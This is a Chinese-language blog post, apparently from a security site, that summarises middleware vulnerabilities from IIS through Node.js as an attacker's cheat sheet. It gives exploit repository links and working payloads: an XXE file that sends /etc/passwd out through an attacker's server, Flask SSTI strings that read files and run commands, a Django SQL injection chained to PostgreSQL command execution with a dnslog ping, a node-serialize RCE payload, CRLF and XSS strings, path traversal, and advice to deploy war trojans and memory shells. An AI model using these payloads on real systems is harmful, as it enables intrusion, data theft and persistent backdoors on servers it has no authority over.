Web中常见中间件漏洞总结

  • A+
所属分类:安全文章

一. IIS

1. PUT漏洞

  1. 用户配置不当,**exp**:https://github.com/hackping/HTTPMLScan.git

2. 短文件名猜解

  1. IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400。
  2. **exp**:https://github.com/WebBreacher/tilde_enum

3.远程代码执行(CVE-2017-7269))

  1. **exp**:https://github.com/zcgonvh/cve-2017-7269

4. 解析漏洞

  1. iis6.0畸形解析:asa、cer
  2. iis6.0目录解析:/test.asp/test.jpg
  3. iis6.0文件解析:test.asp;.jpg
  4. IIS7.5文件解析:test.jpg/.php

5. 认证绕过(:$i30:$INDEX_ALLOCATION

  1. 安装php的iis6.0,例:访问`目标/admin/index.php`,显示`401`,访问
  2. `/admin:$i30:$INDEX_ALLOCATION/index.php`即可
  3. iis7.5:同上

二. Apache

1. 解析漏洞

  1. 用户配置不当,apace解析从右至左进行判断,如`1.php.a.b.c`,`c`不识别会向前进找,知道找到可识别后缀。

2. 目录遍历

  1. 用户配置不当,扫描到目录直接访问即可

3. 未授权访问漏洞

  1. - shiro未授权访问漏洞(CVE-2020-1957)
  2. 影响版本
  3. > shiro 1.5.2版本以下
  4. **poc**:构造`/目标/..;/admin`即可进入后台`

4. rce

  1. -ApacheOfbiz XMLRPC RCE(CVE-2020-9496)
  2. >影响版本
  3. >ApacheOfbiz:<17.12.04
  4. poc步骤
  5. step1:
  6. `java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "你的指令" | base64 | tr -d '\n'`
  7. step:放入下面xml 中
  8. ```
  9. <?xml version="1.0"?>
  10. <methodCall>
  11. <methodName>ping</methodName>
  12. <params>
  13. <param>
  14. <value>test</value>
  15. </param>
  16. </params>
  17. </methodCall>
  18. ```

5. 反序列化

  1. -Dubbo2.7.6反序列化漏洞(CVE-2020-1948)
  2. >影响版本
  3. >Dubbo2.7.0 to 2.7.6
  4. Dubbo2.6.0 to 2.6.7
  5. Dubbo all 2.5.x versions (not supported by official team any longer)
  6. **exp**:https://github.com/ctlyz123/CVE-2020-1948.git

三. Nginx

1. 文件解析

  1. 用户配置不当,对于任意文件名,在后面加上/任意文件名.php后该文件就会以php格式进行解析,如`1.png/.php`
  2. 在`fast-cgi`关闭的情况下,`nginx<=0.8.37`依然存在解析漏洞,会将`1.jpg%00.php`同样解析成php文件

2. 目录遍历

  1. 用户配置不当,扫描到目录直接访问即可

3. CRLF注入

  1. CRLF是”回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP ResponseSplitting,简称HRS。
  2. -会话固定漏洞
  3. 构造如下链接`http://目标%0aSet-Cookie:sessionid=ghtwf01`
  4. ![](res/2020-11-30-14-16-35.png)
  5. 可用于社工让管理员点击,有可能会获得管理员权限。
  6. -通过CRLF注入消息头引发反射型XSS漏洞
  7. 构造`http://目标%0d%0a%0d%0a<script>alert(/xss/);</script>`

4. 目录穿越

  1. 用户配置不当,可通过`../`遍历

四. Tomcat

1. 任意文件上传

  1. - cve-2017-12615
  2. >影响范围
  3. >ApacheTomcat7.0.0-7.0.81
  4. **exp**:https://raw.githubusercontent.com/zhzyker/exphub/master/tomcat/cve-2017-12615_cmd.py

2. 文件读取/包含漏洞

  1. - CVE-2020-1938
  2. 影响范围
  3. >ApacheTomcat6
  4. ApacheTomcat7<7.0.100
  5. ApacheTomcat8<8.5.51
  6. ApacheTomcat9<9.0.31
  7. **exp**:https://github.com/0nise/CVE-2020-1938

3. 反序列化漏洞

  1. - CVE-2020-9484
  2. >影响范围
  3. ><=9.0.34
  4. <=8.5.54
  5. <=7.0.103
  6. **exp**:https://github.com/masahiro331/CVE-2020-9484.git

4. 进程注入

  1. - cve没查到
  2. **exp**:https://github.com/rebeyond/memShell
  3. 5. war后门文件部署
  4. 后台上传即可

五. jBoss

1. 反序列化漏洞

  1. - CVE-2017-12149
  2. >影响范围
  3. >Jboss AS 5.x/6.x
  4. **exp**
  5. https://github.com/yunxu1/jboss-_CVE-2017-12149

2. war后门文件部署

  1. 后台上传war格式木马即可

六. WebLogic

1. 反序列化漏洞

  1. - CVE-2016-3510
  2. >影响范围
  3. >OracleWebLogicServer如下版本
  4. 12.2.1.0
  5. 12.1.3.0
  6. 12.1.2.0
  7. 10.3.6.0
  8. **exp 在后面**
  9. - CVE-2020-2551:Weblogic IIOP反序列化漏洞分析
  10. >影响范围
  11. >OracleWeblogicServer如下版本
  12. 10.3.6.0.0
  13. 12.1.3.0.0
  14. 12.2.1.3.0
  15. 12.2.1.4.0
  16. 14.1.1.0.0
  17. **exp 在后面**

2. SSRF

  1. - CVE-2014-4210
  2. >影响版本
  3. >10.0.2
  4. 10.3.6
  5. **exp 在后面**

3. 任意文件上传/读取

  1. -任意文件读取漏洞(CVE-2019-2615))and文件上传漏洞(CVE-2019-2618)
  2. >影响范围
  3. >OracleWeblogicServer如下版本
  4. 10.3.6.0.0
  5. 12.1.3.0.0
  6. 12.2.1.3.0
  7. 注意:该漏洞需要用户名密码的认证才可利用。
  8. **exp 在后面**

4. 远程代码执行漏洞

  1. -Console HTTP 协议远程代码执行漏洞(CVE-2020-14882)
  2. >OracleWeblogicServer如下版本
  3. 10.3.6.0.0
  4. 12.1.3.0.0
  5. 12.2.1.3.0
  6. 12.2.1.4.0
  7. 14.1.1.0.0
  8. **上述exp地址**:https://github.com/0xn0ne/weblogicScanner

5. war后门文件部署

  1. 进入后台,上传war 格式木马即可

七. struts

1. 代码执行

  1. >影响版本
  2. >S2-057 CVE-2018-11776Struts2.3 to 2.3.34,Struts2.5 to 2.5.16
  3. S2-048 CVE-2017-9791Struts2.3.X
  4. S2-046 CVE-2017-5638Struts2.3.5-2.3.31,Struts2.5-2.5.10
  5. S2-045 CVE-2017-5638Struts2.3.5-2.3.31,Struts2.5-2.5.10
  6. S2-037 CVE-2016-4438Struts2.3.20-2.3.28.1
  7. S2-032 CVE-2016-3081Struts2.3.18-2.3.28
  8. S2-020 CVE-2014-0094Struts2.0.0-2.3.16
  9. S2-019 CVE-2013-4316Struts2.0.0-2.3.15.1
  10. S2-016 CVE-2013-2251Struts2.0.0-2.3.15
  11. S2-013 CVE-2013-1966Struts2.0.0-2.3.14
  12. S2-009 CVE-2011-3923Struts2.0.0-2.3.1.1
  13. S2-005 CVE-2010-1870Struts2.0.0-2.1.8.1
  14. exp地址:https://github.com/Lucifer1993/struts-scan
  15. ![](res/2020-11-30-10-30-39.png)

八. java spring

1. Jolokia xxe

  1. poc
  2. step1:构造文件
  3. ```
  4. 第一个文件 logback.xml
  5. <?xml version="1.0" encoding="utf-8" ?>
  6. <!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://你的服务器/fileread.dtd">%remote;%int;]>
  7. <a>&trick;</a>
  8. 构造第二个文件 fileread.dtd
  9. <!ENTITY % d SYSTEM "file:///etc/passwd">
  10. <!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
  11. ```
  12. step2:将两个文件传入公网服务器
  13. step3:访问`目标/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/你的服务器!/logback.xml`

2. Jolokia rce

  1. [exp项目地址](https://github.com/mpgn/Spring-Boot-Actuator-Exploit)

九. Python

1. flask-ssti

  1. python2
  2. ```
  3. #读文件
  4. `{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}`
  5. {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
  6. #写文件
  7. {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
  8. #执行指令
  9. {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块)
  10. {{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函数换为popen('').read(),需要导入os模块)
  11. {{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要导入os模块,直接从别的模块调用)
  12. ```
  13. python3
  14. ```
  15. #文件读取
  16. {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
  17. #任意执行
  18. {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
  19. ```

2. Django-JSONfield-sql注入(CVE-2019-14234)

  1. 影响版本
  2. >Django
  3. >1.11.x before 1.11.23
  4. >2.1.x before 2.1.11
  5. >2.2.x before 2.2.4
  6. poc
  7. `http://目标/admin/vuln/collection/?detail__title')='1' or 1=1--`

Web中常见中间件漏洞总结
结合CVE-2019-9193构造?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20
因为是无回显执行,使用ping命令结合dns_log判断是否执行
?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'ping just.erh3bt.dnslog.cn'--%20

Web中常见中间件漏洞总结

3. Django debug page XSS漏洞

  1. 直接访问`目标/create_user/?username=<script>alert('haha')</script>`

Web中常见中间件漏洞总结
再次访问

Web中常见中间件漏洞总结

4. Django url 跳转漏洞(CVE-2018-14574)

  1. 影响版本
  2. >1.11.0<= version <1.11.15
  3. >2.0.0<= version <2.0.8

图片

十. node.js

1. 反序列化RCE漏洞

  1. CVE-2017-5941
  2. poc:(***执行 ls /***)
  3. ```
  4. var y = {
  5. rce : function(){
  6. },
  7. }
  8. var serialize = require('node-serialize');
  9. console.log("Serialized: \n" + serialize.serialize(y));
  10. ```
  11. 生成结果如下
  12. ```
  13. Serialized:
  14. {"rce":"_$$ND_FUNC$$_function(){\n require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\n }"}
  15. ```

注意,最后一个双引号前要补一个()
最终结果如下

  1. {"rce":"_$$ND_FUNC$$_function(){\n require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\n }()"}

2. 目录穿越漏洞

  1. - CVE-2017-14849
  2. 影响版本
  3. >Node.js 8.5.0+Express3.19.0-3.21.2
  4. >Node.js 8.5.0+Express4.11.0-4.15.5
  5. 使用burp抓包构造`/static/../../../a/../../../../etc/passwd`即可。

----------------END----------------

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: